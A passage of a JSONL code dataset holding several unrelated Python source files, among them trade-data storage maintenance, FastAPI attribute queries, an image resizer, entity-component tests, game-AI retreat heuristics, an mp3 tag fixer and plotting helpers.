\"frequency\"))\n if has_timestamps(daily_ts_from, daily_ts_to, existing):\n with transaction.atomic():\n daily_cache, created = CandleCache.objects.get_or_create(\n candle=candle,\n timestamp=daily_ts_from,\n frequency=Frequency.DAY,\n )\n daily_cache.json_data = (\n target_cache.order_by(\"-timestamp\").first().json_data\n )\n daily_cache.save()\n target_cache.delete()\n logging.info(\n _(\"Converted {date} to daily\").format(\n **{\"date\": daily_ts_from.date()}\n )\n )\n\n\ndef convert_trade_data_to_hourly(\n symbol: Symbol, timestamp_from: datetime.datetime, timestamp_to: datetime.datetime\n):\n \"\"\"Convert trade data, by minute, to hourly.\"\"\"\n trade_data = TradeData.objects.filter(\n symbol=symbol,\n frequency=Frequency.MINUTE,\n )\n t = trade_data.filter(timestamp__gte=timestamp_from, timestamp__lte=timestamp_to)\n if t.exists():\n first = t.first()\n last = t.last()\n min_timestamp_from = first.timestamp\n if timestamp_from < min_timestamp_from:\n timestamp_from = min_timestamp_from\n max_timestamp_to = last.timestamp + pd.Timedelta(f\"{last.frequency}t\")\n if timestamp_to > max_timestamp_to:\n timestamp_to = max_timestamp_to\n for daily_ts_from, daily_ts_to in iter_timeframe(\n timestamp_from, timestamp_to, value=\"1d\", reverse=True\n ):\n for hourly_ts_from, hourly_ts_to in iter_timeframe(\n daily_ts_from, daily_ts_to, value=\"1h\", reverse=True\n ):\n delta = hourly_ts_to - hourly_ts_from\n total_minutes = delta.total_seconds() / Frequency.HOUR\n if total_minutes == Frequency.HOUR:\n minutes = trade_data.filter(\n timestamp__gte=hourly_ts_from, timestamp__lt=hourly_ts_to\n )\n if minutes.count() == Frequency.HOUR:\n data_frames = {\n t: t.get_data_frame() for t in minutes if t.file_data.name\n }\n for t, data_frame in data_frames.items():\n data_frame[\"uid\"] = \"\"\n # Set first index.\n uid = data_frame.columns.get_loc(\"uid\")\n data_frame.iloc[:1, uid] = t.uid\n if len(data_frames):\n filtered = pd.concat(data_frames.values())\n else:\n filtered = pd.DataFrame([])\n candles = candles_api(symbol, hourly_ts_from, hourly_ts_to)\n validated = validate_data_frame(\n hourly_ts_from,\n hourly_ts_to,\n filtered,\n candles,\n symbol.should_aggregate_trades,\n )\n # First, delete minutes, as naming convention is same as hourly.\n minutes.delete()\n # Next, create hourly\n TradeData.write(\n symbol,\n hourly_ts_from,\n hourly_ts_to,\n filtered,\n validated,\n )\n logging.info(\n _(\n \"Converted {timestamp_from} {timestamp_to} to hourly\"\n ).format(\n **{\n \"timestamp_from\": hourly_ts_from,\n \"timestamp_to\": hourly_ts_to,\n }\n )\n )\n\n\ndef clean_trade_data_with_non_existing_files(\n symbol: Symbol, timestamp_from: datetime.datetime, timestamp_to: datetime.datetime\n) -> None:\n \"\"\"Clean aggregated with non-existing files.\"\"\"\n logging.info(_(\"Checking objects with non existent files\"))\n\n trade_data = (\n TradeData.objects.filter(symbol=symbol)\n .exclude(file_data=\"\")\n .filter(\n timestamp__gte=timestamp_from,\n timestamp__lte=timestamp_to,\n )\n .only(\"frequency\", \"file_data\")\n )\n count = 0\n deleted = 0\n total = trade_data.count()\n for obj in trade_data:\n count += 1\n if not obj.file_data.storage.exists(obj.file_data.name):\n obj.delete()\n deleted += 1\n logging.info(\n _(\"Checked {count}/{total} objects\").format(\n **{\"count\": count, \"total\": total}\n )\n )\n\n logging.info(_(\"Deleted {deleted} objects\").format(**{\"deleted\": deleted}))\n\n\ndef clean_unlinked_trade_data_files(\n symbol: Symbol, timestamp_from: datetime.datetime, timestamp_to: datetime.datetime\n) -> None:\n \"\"\"Clean unlinked trade data files.\"\"\"\n logging.info(_(\"Checking unlinked trade data files\"))\n\n deleted = 0\n trade_data = (\n TradeData.objects.filter(symbol=symbol).exclude(file_data=\"\").only(\"file_data\")\n )\n t = trade_data.filter(\n timestamp__gte=timestamp_from,\n timestamp__lte=timestamp_to,\n )\n if t.exists():\n min_timestamp_from = t.first().timestamp\n if timestamp_from < min_timestamp_from:\n timestamp_from = min_timestamp_from\n max_timestamp_to = t.last().timestamp\n if timestamp_to > max_timestamp_to:\n timestamp_to = max_timestamp_to\n for daily_timestamp_from, daily_timestamp_to in iter_timeframe(\n timestamp_from, timestamp_to, value=\"1d\"\n ):\n expected_files = [\n os.path.basename(obj.file_data.name)\n for obj in trade_data.filter(\n timestamp__gte=daily_timestamp_from,\n timestamp__lte=daily_timestamp_to,\n )\n ]\n\n dummy = TradeData(symbol=symbol, timestamp=daily_timestamp_from)\n storage = dummy.file_data.storage\n directory, __ = os.path.split(upload_trade_data_to(dummy, \"dummy.parquet\"))\n __, filenames = storage.listdir(directory)\n\n should_delete = [\n filename for filename in filenames if filename not in expected_files\n ]\n for filename in should_delete:\n storage.delete(os.path.join(directory, filename))\n deleted += 1\n\n logging.info(\n _(\"Checked {date}\").format(**{\"date\": daily_timestamp_from.date()})\n )\n\n logging.info(\n _(\"Deleted {deleted} unlinked files\").format(**{\"deleted\": deleted})\n )\n","sub_path":"quant_candles/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":9729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"308013460","text":"my_set = {4, 2, 6}\n#subset = [{}, {4}, {2}, {6}, {4, 2}, {4, 6}, {2, 6}]\n\n\n#{}\n\n#{}, {4}\n#{}, {4}, {2}, {4, 2}\n#{}, {4}, {2}, {4, 2}, {6}, {4, 6}, {2, 6}, {4,2,6}\n\n\n#get_all_sebset{current_set, current_element}:\n # create copy of current_set\n # for all set in set list create a new set list by appedning the current_element\n # return current_set + next_set\n\n#get_all_subset(current_set):\n # result set = {}\n # for all element in set\n # add temp_get_all_subset(element, result_set) in to result_set\n\n\ndef get_all_subset_for_element(set_list, element):\n temp_set_list = []\n for item in set_list:\n item2 = item.copy()\n item2.add(element)\n temp_set_list.append(item2)\n result = set_list + temp_set_list\n return result\n\n\ndef get_all_subset(my_set):\n result_set = [set({})]\n for elelment in my_set:\n result_set = get_all_subset_for_element(result_set, elelment)\n return result_set\n\nprint(get_all_subset(my_set))\n","sub_path":"Python_Projects/6-Google codejam/get_all_subset.py","file_name":"get_all_subset.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"537308582","text":"from typing import List\nfrom fastapi.exceptions import HTTPException\nimport pydantic\nfrom sqlalchemy import select, and_\nfrom sqlalchemy.ext.asyncio import AsyncSession\nfrom ..models import Attribute, BooleanAttribute, IntegerAttribute, FloatAttribute, StringAttribute\nfrom ..interfaces import *\nfrom sqlalchemy.orm import with_polymorphic\nfrom sqlalchemy.exc import IntegrityError\nfrom pydantic import parse_obj_as\n\nselect_attribute = with_polymorphic(Attribute, [BooleanAttribute, IntegerAttribute, FloatAttribute, StringAttribute])\n\n\nasync def query_attributes(session: AsyncSession, key: str, remote_reference: str):\n filters = {}\n if remote_reference:\n filters['remote_reference'] = remote_reference\n if key:\n filters['key'] = key\n result = await session.execute(select(select_attribute).filter_by(**filters))\n return result.scalars().all()\n\n\nasync def query_attribute_by_id(session: AsyncSession, id: int):\n \n result = await session.execute(select(select_attribute).where(Attribute.id == id))\n return result.scalars().one()\n\n\nasync def query_attribute_by_remote_and_id(session: AsyncSession, remote_reference: str, id: int) -> Attribute:\n result = await session.execute(\n select(select_attribute)\n .where(\n and_(\n Attribute.remote_reference == remote_reference,\n Attribute.id == id\n )\n )\n )\n return result.scalars().one()\n\n\nasync def query_attribute_by_remote_and_key(session: AsyncSession, remote_reference: str, key: str) -> Attribute:\n result = await session.execute(\n select(select_attribute)\n .where(\n and_(\n Attribute.remote_reference == remote_reference,\n Attribute.key == key\n )\n )\n )\n return result.scalars().one()\n\n\nasync def query_attributes_by_remote(session: AsyncSession, remote_reference: str) -> List[Attribute]:\n result = await session.execute(\n select(select_attribute)\n .where(\n and_(\n Attribute.remote_reference == remote_reference,\n )\n )\n )\n return result.scalars().all()\n\n\n\nasync def insert_attribute(session: AsyncSession, attribute: AttributeIn):\n\n v = attribute.value\n\n # The order of this is sensitive\n if isinstance(v, bool):\n new = BooleanAttribute(type=bool.__name__, remote_reference=attribute.remote_reference, key=attribute.key, value=attribute.value)\n elif isinstance(attribute.value, int):\n new = IntegerAttribute(type=int.__name__, remote_reference=attribute.remote_reference, key=attribute.key, value=attribute.value)\n elif isinstance(attribute.value, float):\n new = FloatAttribute(type=float.__name__, remote_reference=attribute.remote_reference, key=attribute.key, value=attribute.value)\n elif isinstance(attribute.value, str):\n new = StringAttribute(type=str.__name__, remote_reference=attribute.remote_reference, key=attribute.key, value=attribute.value)\n else:\n raise HTTPException(501, detail={\n \"status\": \"NOT_IMPLMENTED\",\n \"message\": \"Value must be of a type int, float, bool or string\"\n })\n try:\n session.add(new)\n await session.commit()\n return parse_obj_as(AttributeOut, new)\n except IntegrityError:\n attribute_query = with_polymorphic(Attribute, [BooleanAttribute, IntegerAttribute, FloatAttribute, StringAttribute])\n found_attr = session.execute(select(attribute_query).where(\"attribute.key\" == attribute.key))\n raise HTTPException(303, detail={\n \"status\": \"ALREADY_EXISTS\",\n \"message\": \"Attribute already exisits follow Location\"\n })","sub_path":"app/services/attributes.py","file_name":"attributes.py","file_ext":"py","file_size_in_byte":3788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"75075467","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport click\nfrom PIL import Image\nfrom utils.misc import get_file_list\nimport re\n\n\ndef validate_dim(ctx, param, value):\n percents = False\n if value.endswith('%'):\n value = value[:-1]\n percents = True\n if not re.match(r'^\\d{1,6}(\\.\\d{1,6})?$', value):\n raise click.BadParameter('invalid value')\n value = float(value)\n if value == 0:\n raise click.BadParameter('invalid value')\n return value, percents\n\n\n@click.command()\n@click.argument('path', type=click.Path(exists=True))\n@click.argument('w', callback=validate_dim)\n@click.argument('h', callback=validate_dim)\ndef resize(path, w, h):\n \"\"\"\n Resize all images in the given folder and all sub folders.\n Width and Height can be integer or float values in pixels or percents: 10, 12.5, 80%, 20.5%.\n Result size will be rounded to integer.\n \"\"\"\n for f in get_file_list(path):\n im = Image.open(f).convert('RGBA')\n new_w = int(round(im.size[0] * w[0] / 100. if w[1] else w[0]))\n new_h = int(round(im.size[1] * h[0] / 100. if h[1] else h[0]))\n new_im = im.resize((new_w, new_h), Image.LANCZOS)\n new_im.save(f)\n\n\nif __name__ == '__main__':\n resize()\n","sub_path":"resize.py","file_name":"resize.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"190508210","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\ntest_rui\n----------------------------------\n\nTests for `rui` module.\n\"\"\"\n\nimport sys\nif sys.version_info < (2, 7):\n import unittest2 as unittest\nelse:\n import unittest\n\nfrom rui.rui import Component, System, World\nfrom rui.exceptions import (DuplicateEntityError, DuplicateSystemError,\n UnmanagedEntityError, UnmanagedSystemError,\n NonUniqueTagError, DeadEntityError)\n\n\nclass Counter(Component):\n def __init__(self, count):\n self.count = count\n\n\nclass Empty(Component):\n def __init__(self):\n pass\n\n\nclass CountSystem(System):\n def process(self, delta):\n entities = self.world.get_entities_by_components(Counter)\n\n for entity in entities:\n entity.get_component(Counter).count += (1 * delta)\n\n\nclass TestRui(unittest.TestCase):\n\n def setUp(self):\n self.world = World()\n\n ## Testing Components\n def test_add_component(self):\n entity = self.world.create_entity()\n counter = Counter(0)\n replaceCounter = Counter(1)\n entity.add_component(counter)\n self.assertTrue(counter in entity.get_components())\n getCounter = entity.get_component(Counter)\n self.assertEqual(counter, getCounter)\n self.assertEqual(getCounter.count, 0)\n entity.add_component(replaceCounter)\n self.assertTrue(counter in entity.get_components())\n getCounter = entity.get_component(Counter)\n self.assertEqual(replaceCounter, getCounter)\n self.assertEqual(getCounter.count, 1)\n\n def test_get_entites_by_components(self):\n entity = self.world.create_entity()\n entity.add_component(Counter(0))\n entity.add_component(Empty())\n empty_entity = self.world.create_entity()\n empty_entity.add_component(Empty())\n self.world.add_entity(entity)\n self.world.add_entity(empty_entity)\n\n partial_entities = self.world.get_entities_by_components(Counter)\n self.assertEqual(len(partial_entities), 1)\n\n full_entities = self.world.get_entities_by_components(Counter, Empty)\n self.assertEqual(len(full_entities), 1)\n self.assertEqual(full_entities, partial_entities)\n\n empty_entities = self.world.get_entities_by_components(Empty)\n self.assertEqual(len(empty_entities), 2)\n self.assertTrue(empty_entity in empty_entities)\n\n ## Testing Entities\n def test_add_entity(self):\n entity = self.world.create_entity()\n self.world.add_entity(entity)\n self.assertTrue(entity in self.world.get_entities())\n\n def test_entity_tag(self):\n noTagEntity = self.world.create_entity()\n tagEntity = self.world.create_entity('TAG')\n self.world.add_entities(noTagEntity, tagEntity)\n self.assertNotEqual(noTagEntity, self.world.get_entity_by_tag('TAG'))\n self.assertEqual(tagEntity, self.world.get_entity_by_tag('TAG'))\n\n def test_groups(self):\n inGroupEntity = self.world.create_entity()\n inGroupEntity2 = self.world.create_entity()\n notInGroupEntity = self.world.create_entity()\n self.world.add_entity(inGroupEntity)\n self.world.add_entity(inGroupEntity2)\n self.world.add_entity(notInGroupEntity)\n self.world.register_entity_to_group(inGroupEntity, 'GROUP')\n self.world.register_entity_to_group(inGroupEntity2, 'GROUP')\n group = self.world.get_group('GROUP')\n self.assertTrue(inGroupEntity in group)\n self.assertTrue(inGroupEntity2 in group)\n self.assertFalse(notInGroupEntity in group)\n\n def test_kill_entity(self):\n entity = self.world.create_entity('KILL')\n self.world.add_entity(entity)\n self.world.register_entity_to_group(entity, 'DYING')\n self.assertEquals(len(self.world.get_group('DYING')), 1)\n self.assertTrue(entity in self.world.get_entities())\n entity.kill()\n self.assertFalse(entity in self.world.get_entities())\n self.assertEquals(len(self.world.get_group('DYING')), 0)\n\n entity = self.world.create_entity('KILL')\n self.world.add_entity(entity)\n self.world.register_entity_to_group(entity, 'DYING')\n self.assertEquals(len(self.world.get_group('DYING')), 1)\n self.assertTrue(entity in self.world.get_entities())\n self.world.remove_entity(entity)\n self.assertFalse(entity in self.world.get_entities())\n self.assertEquals(len(self.world.get_group('DYING')), 0)\n with self.assertRaises(DeadEntityError):\n entity.kill()\n\n ## Testing Systems\n def test_add_system(self):\n entity = self.world.create_entity()\n entity.add_component(Counter(0))\n self.world.add_entity(entity)\n count_system = CountSystem()\n self.world.add_system(count_system)\n count_system.process(1)\n self.assertEqual(entity.get_component(Counter).count, 1)\n self.world.process()\n self.assertEqual(entity.get_component(Counter).count, 2)\n\n def test_remove_system(self):\n entity = self.world.create_entity()\n entity.add_component(Counter(0))\n self.world.add_entity(entity)\n count_system = CountSystem()\n self.world.add_system(count_system)\n self.world.process()\n self.assertEqual(entity.get_component(Counter).count, 1)\n self.world.remove_system(count_system)\n self.world.process()\n self.assertEqual(entity.get_component(Counter).count, 1)\n\n ## Test Exceptions\n def test_duplicate_entity_error(self):\n entity = self.world.create_entity()\n self.world.add_entity(entity)\n with self.assertRaises(DuplicateEntityError):\n self.world.add_entity(entity)\n\n def test_duplicate_system_error(self):\n count_system = CountSystem()\n duplicateCountSystem = CountSystem()\n self.world.add_system(count_system)\n with self.assertRaises(DuplicateSystemError):\n self.world.add_system(count_system)\n self.world.add_system(duplicateCountSystem)\n\n def test_unmanaged_entity_error(self):\n entity = self.world.create_entity()\n with self.assertRaises(UnmanagedEntityError):\n self.world.register_entity_to_group(entity, 'GROUP')\n self.world.add_entity(entity)\n self.world.register_entity_to_group(entity, 'GROUP')\n\n def test_unmanaged_system_error(self):\n count_system = CountSystem()\n with self.assertRaises(UnmanagedSystemError):\n self.world.remove_system(count_system)\n self.world.add_system(count_system)\n self.world.remove_system(count_system)\n\n def test_non_unique_tag_error(self):\n entity = self.world.create_entity('TAG')\n self.world.add_entity(entity)\n nonUniqueEntity = self.world.create_entity('TAG')\n otherEntity = self.world.create_entity('FAKE')\n self.world.add_entity(otherEntity)\n\n with self.assertRaises(NonUniqueTagError):\n self.world.add_entity(nonUniqueEntity)\n self.world.get_entity_by_tag('FAKE').set_tag('TAG')\n\n def tearDown(self):\n pass\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_rui.py","file_name":"test_rui.py","file_ext":"py","file_size_in_byte":7224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"635468095","text":"from django.http import HttpResponse\nfrom django.db import models\nfrom django.core.exceptions import ValidationError\nfrom django.contrib import admin\n\n\nclass Email(models.Model):\n email = models.EmailField(max_length=200)\n\n def __unicode__(self):\n return u'<\"%s\">' % self.email\n\nadmin.site.register(Email)\n\ndef proc_email(email_addy, log):\n log.info('Processing: %r', email_addy)\n\n try:\n em = Emails.objects.get(email=email_addy)\n\n except Emails.DoesNotExist:\n log.info('New email: %r', email_addy)\n em = Emails(email=email_addy)\n try:\n em.clean_fields()\n except ValidationError:\n log.warning('Invalid address: %r', em)\n else:\n em.save()\n log.info('Created: %s', em)\n\n else:\n log.info('Duplicate email: %s', em)\n\n return HttpResponse(\n \"%r, please.\" % (email_addy,),\n mimetype=\"text/plain\"\n )\n","sub_path":"juvume/splash/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"624519345","text":"import simulations\nimport blocks\nimport weighted_prob\nimport region_danger\nimport play_game\ndef find_location(board, blok):\n\t'''\n\tThis function takes a board object and the name of a block\n\tand returns a region object where the block is\n\t'''\n\n\t\n\tfor region in board.regions:\n\t\tfor bllock in region.blocks_present:\n\t\t\t\n\t\t\tif bllock.name == blok.name:\n\t\t\t\treturn region\n\ndef retreat(board, regionID, locations, simulation_dict, is_attacking, turn, combat_dict={}):\n\t'''\n\tThis function is meant to calculate a weight to whether or not \n\tthe computer opponent should retreat at any point during\n\ta battle. regionID is a region ID, paths is a list of the possible\n\tpaths of retreating, simulation_dict contains the win percentages from\n\tthe simulations and average strength lost values. is_attacking is a boolean\n\tthat is True if the computer is attacking and False if the computer is\n\tdefending\n\t'''\n\n\tif len(combat_dict) == 0:\n\t\tplay_game.set_up_combat_dict(board,board.regions[regionID])\n\t\tcombat_dict = board.regions[regionID].combat_dict\n\n\n\n\tif(len(combat_dict['Attacking']) == 0 or len(combat_dict['Defending']) == 0):\n\n\t\treturn_dict = {'Staying value ': 10}\n\t\treturn return_dict\n\n\n\t#Valuable Blocks and respective weights\n\tvaluable_blocks = {'WALLACE':18, 'KING':22, 'EDWARD':16, 'HOBELARS':13}\n\n\tif (is_attacking and combat_dict['Attacking'][0].allegiance == 'ENGLAND') or (not is_attacking and combat_dict['Defending'][0].allegiance == 'ENGLAND'):\n\n\t\trole = 'ENGLAND'\n\n\telse:\n\n\t\trole = 'SCOTLAND'\n\n\tstaying_value = value_of_location(board, regionID, role) * 1.3\n\n\tretreating_value = 0\n\n\tfriendly_block_names = list()\n\n\tfriendly_blocks = list()\n\n\tenemy_block_names = list()\n\n\tenemy_blocks = list()\n\n\treturn_dict = {'Staying value ': staying_value}\n\n\t\n\n\t#Add weight based on the difference is strength lost in the battle\n\tif is_attacking:\n\n\t\tstrength_dif = simulation_dict['Attacker strength lost'] - simulation_dict['Defender strength lost']\n\n\telif not is_attacking:\n\n\t\tstrength_dif = simulation_dict['Defender strength lost'] - simulation_dict['Attacker strength lost']\n\n\tif role == 'SCOTLAND':\n\n\t\tretreating_value += strength_dif * 4\n\n\telse:\n\n\t\tretreating_value += strength_dif * 2\n\n\n\n\t#Add weight based on the results of the simulation\n\n\tif not is_attacking:\n\n\t\tretreating_value += simulation_dict['attacker wins'] * 10\n\n\telse:\n\n\t\tretreating_value += simulation_dict['defender wins'] * 10\n\n\t\tretreating_value += simulation_dict['attacker retreats'] * 2\n\n\t#Create a list of friendly blocks in the current battle\n\tif is_attacking:\n\n\t\tfor block in combat_dict['Attacking']:\n\n\t\t\tfriendly_block_names.append(block.name)\n\t\t\tfriendly_blocks.append(block)\n\n\t\tfor block in combat_dict['Defending']:\n\n\t\t\tenemy_block_names.append(block.name)\n\t\t\tenemy_blocks.append(block)\n\n\telse:\n\n\t\tfor block in combat_dict['Defending']:\n\n\t\t\tfriendly_block_names.append(block.name)\n\t\t\tfriendly_blocks.append(block)\n\n\t\tfor block in combat_dict['Attacking']:\n\n\t\t\tenemy_block_names.append(block.name)\n\t\t\tenemy_blocks.append(block)\n\n\t#Check to see if any of the friendly blocks are the valuable blocks\n\tif len(friendly_blocks) == 0 and friendly_blocks[0].current_strength == 1:\n\t\tretreating_value += 10\n\n\tfor block_name in valuable_blocks:\n\n\t\tif block_name in friendly_block_names:\n\n\t\t\tretreating_value += valuable_blocks[block_name]\n\n\t\telif block_name in enemy_block_names:\n\n\t\t\tretreating_value += -.5 * valuable_blocks[block_name]\n\n\t#Weight if you are going to lose a noble\n\tfor block in friendly_blocks:\n\n\t\tif type(block) == blocks.Noble:\n\n\t\t\tretreating_value += noble_going_to_be_lost(board, block, role, turn) * -8\n\n\t\t\tretreating_value += noble_not_going_to_be_occupied(board, block, turn, role) * 8 \n\n\t#Weight if the enemy is going to lose a noble\n\tfor block in enemy_blocks:\n\n\t\tif type(block) == blocks.Noble:\n\n\t\t\tretreating_value += noble_going_to_be_lost(board, block, role, turn) * 6\n\n\t\t\tretreating_value += noble_not_going_to_be_occupied(board, block, turn, role) * -6\n\tif 'WALLACE' in friendly_block_names and len(enemy_blocks) == 1:\n\n\t\tretreating_value = 1\n\n\tfor location in locations:\n\n\t\treturn_dict[location] = value_of_location(board, location, role) * retreating_value\n\n\tfor key in return_dict:\n\t\t\n\t\tif return_dict[key] <= 0:\n\t\t\treturn_dict[key] = 0.000000001\n\n\treturn return_dict\n\n\n\ndef noble_going_to_be_lost(board, noble_object, role, turn):\n\t\"\"\"\n\treturns float\n\t1.0 means better chances of being lost\n\t0.0 means lower chances of being lost\n\tvery arbitrary numbers\n\tnot very good indication\n\t\"\"\"\n\n\tclose_to_winter = .2 * turn\n\tlost_flt = 0.0\n\tif type(noble_object.home_location) == int:\n\t\thome_location_tuple = (noble_object.home_location,)\n\telse:\n\t\thome_location_tuple = noble_object.home_location\n\n\t#checking who occupies it\n\tfor home_location_id in home_location_tuple:\n\t\tif board.regions[home_location_id].is_enemy(role):\n\t\t\tlost_flt += 0.7\n\t\telif board.regions[home_location_id].is_friendly(role):\n\t\t\tlost_flt += 0.03\n\t\telse:\n\t\t\tlost_flt += 0.2\n\n\t\t#checking who is around the noble_home_location\n\t\tcurrent_location = find_location(board, noble_object)\n\t\tfor regionID, border in enumerate(board.dynamic_borders[current_location.regionID]):\n\t\t\tif border != 0:\n\t\t\t\tif board.regions[regionID].is_enemy(role):\n\t\t\t\t\tlost_flt += 0.3\n\t\t\t\telif board.regions[regionID].is_friendly(role):\n\t\t\t\t\tlost_flt += .01\n\t\t\t\telse:\n\t\t\t\t\tlost_flt += .07\n\n\treturn lost_flt * close_to_winter\ndef noble_going_to_be_kept(board, noble_object, turn, role):\n\t\"\"\"\n\treturns between 0.0 and 1.0\n\t1.0 more likely to be kept\n\t\"\"\"\n\treturn (1 - noble_going_to_be_lost(board, noble_object, turn, role))\n\ndef noble_not_going_to_be_occupied(board, noble_object, turn, role):\n\t\"\"\"\n\treturns between 0.0 and 1.0\n\t1.0 home locatino more likely to be not occupied\n\t\"\"\"\n\tlost_flt = 0.0\n\tclose_to_winter = .2 * turn\n\tif type(noble_object.home_location) == int:\n\t\thome_location_tuple = (noble_object.home_location, )\n\telse:\n\t\thome_location_tuple = noble_object.home_location\n\n\t#checking who occupies it\n\tfor home_location_id in home_location_tuple:\n\t\tif board.regions[home_location_id].is_enemy(role):\n\t\t\tlost_flt += 0.05\n\t\telif board.regions[home_location_id].is_friendly(role):\n\t\t\tlost_flt += 0.05\n\t\telse:\n\t\t\tlost_flt += 0.7\n\n\t\t#checking who is around the noble_home_location\n\t\tcurrent_location = find_location(board, noble_object)\n\t\tfor regionID, border in enumerate(board.dynamic_borders[current_location.regionID]):\n\t\t\tif border != 0:\n\t\t\t\tif board.regions[regionID].is_enemy(role):\n\t\t\t\t\tlost_flt += 0.13\n\t\t\t\telif board.regions[regionID].is_friendly(role):\n\t\t\t\t\tlost_flt += 0.13\n\t\t\t\telse:\n\t\t\t\t\tlost_flt += 0.3\n\treturn lost_flt * close_to_winter\n\ndef value_of_location(current_board, regionID, role):\n\t\"\"\"\n\treturns float between 0.0 and 1.0\n\tROSS 0 F T 1\nGARMORAN 1 F T 0\nMORAY 2 F T 2\nSTRATHSPEY 3 T T 1 \nBUCHAN 4 F T 2\nLOCHABER 5 F T 1 \nBADENOCH 6 F F 2\nMAR 7 F F 1\nANGUS 8 F T 2\nARGYLL 9 F T 2\nATHOLL 10 F F 1\nFIFE 11 T T 2\nLENNOX 12 T T 1 \nMENTIETH 13 F T 3\nCARRICK 14 F T 1\nLANARK 15 F F 2\nLOTHIAN 16 F T 2\nDUNBAR 17 F T 2\nSELKIRK-FOREST 18 F F 0\nGALLOWAY 19 F T 1\nANNAN 20 F T 2\nTEVIOT 21 F F 1\nENGLAND 22 F T 0\n\t\"\"\"\n\tenemy_strength_lst = region_danger.table(current_board, role)\n\tvalue_lst = [22, 5, 14, 10, 30, 11, 15, 18, 37, 17, 21, 42, 27, 50, 11, 26, 13, 17, 5, 19, 15, 12, 11]\n\n\tfor i, number in enumerate(enemy_strength_lst):\n\t\tif number != -1:\n\t\t\tvalue_lst[i] -= number\n\t\tvalue_lst[i] = value_lst[i] / 50\n\t\tif value_lst[i] < 0:\n\t\t\tvalue_lst[i] = 0\n\t#print('VALUE ' + str(value_lst[regionID]))\n\treturn value_lst[regionID]\n\n\n\n\n\n\n\n\n\t\n\n\n\n\n","sub_path":"retreat.py","file_name":"retreat.py","file_ext":"py","file_size_in_byte":7707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"551261342","text":"# rename.py\n# This script uses mp3-tagger to fix the meta data on mp3 files that\n# cause mp3 players to wrongly categorize albums\n\n# REQUIREMENTS:\n# Install mp3-tagger at: https://pypi.org/project/mp3-tagger/\n\n# INSTRUCTIONS:\n# Put this file in the same directory as the songs\n# Make sure that songs are in an album directory that is in an artist directory\n# run the script\n\n\nimport os\nfrom mp3_tagger import MP3File, VERSION_1, VERSION_2, VERSION_BOTH\n\ndirname = os.getcwd()\nfiles = os.listdir(dirname)\n\ndir_list = dirname.split('\\\\')\nalbum_name = dir_list[-1]\nartist_name = dir_list[-2]\n\nsongs = []\nfor file in files:\n\tif file.endswith('.mp3'):\n\t\tsongs.append(file)\n\nprint(\"Working..\")\n\nfor song_path in songs:\n\taudio_file = MP3File(song_path)\n\taudio_file.set_version(VERSION_BOTH)\n\taudio_file.album = album_name\n\taudio_file.artist = artist_name\n\taudio_file.band = artist_name\n\taudio_file.save()\n\nprint(\"Done\")\n","sub_path":"album_sort/rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"550167184","text":"# conx - a neural network library\n#\n# Copyright (c) 2017 Douglas S. Blank \n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor,\n# Boston, MA 02110-1301 USA\n\n\nimport base64\nimport io\nimport numpy as np\nimport copy\nfrom .utils import get_colormap\n\nfrom IPython.display import SVG\n\ntry:\n import matplotlib.pyplot as plt\nexcept:\n plt = None\n\ndef plot_f(f, frange=(-1, 1, .1), symbol=\"o-\"):\n \"\"\"\n Plot a function.\n \"\"\"\n xs = np.arange(*frange)\n ys = [f(x) for x in xs]\n plt.plot(xs, ys, symbol)\n plt.show()\n #bytes = io.BytesIO()\n #plt.savefig(bytes, format='svg')\n #svg = bytes.getvalue()\n #plt.close(fig)\n #return SVG(svg.decode())\n\ndef plot(lines, width=8.0, height=4.0, xlabel=\"time\", ylabel=\"\"):\n \"\"\"\n SVG(plot([[\"Error\", \"+\", [1, 2, 4, 6, 1, 2, 3]]],\n ylabel=\"error\",\n xlabel=\"hello\"))\n \"\"\"\n if plt is None:\n raise Exception(\"matplotlib was not loaded\")\n plt.rcParams['figure.figsize'] = (width, height)\n for (label, symbol, data) in lines:\n kwargs = {}\n args = [data]\n if label:\n kwargs[\"label\"] = label\n if symbol:\n args.append(symbol)\n plt.plot(*args, **kwargs)\n if any([line[0] for line in lines]):\n plt.legend()\n if xlabel:\n plt.xlabel(xlabel)\n if ylabel:\n plt.ylabel(ylabel)\n plt.show()\n #bytes = io.BytesIO()\n #plt.savefig(bytes, format='svg')\n #svg = bytes.getvalue()\n #plt.close(fig)\n #return SVG(svg.decode())\n\n\ndef plot_activations(net, from_layer, from_units, to_layer, to_unit,\n colormap, default_from_layer_value, resolution,\n act_range, show_values):\n # first do some error checking\n assert net[from_layer] is not None, \"unknown layer: %s\" % (from_layer,)\n assert type(from_units) in (tuple, list) and len(from_units) == 2, \\\n \"expected a pair of ints for the %s units but got %s\" % (from_layer, from_units)\n ix, iy = from_units\n assert 0 <= ix < net[from_layer].size, \"no such %s layer unit: %d\" % (from_layer, ix)\n assert 0 <= iy < net[from_layer].size, \"no such 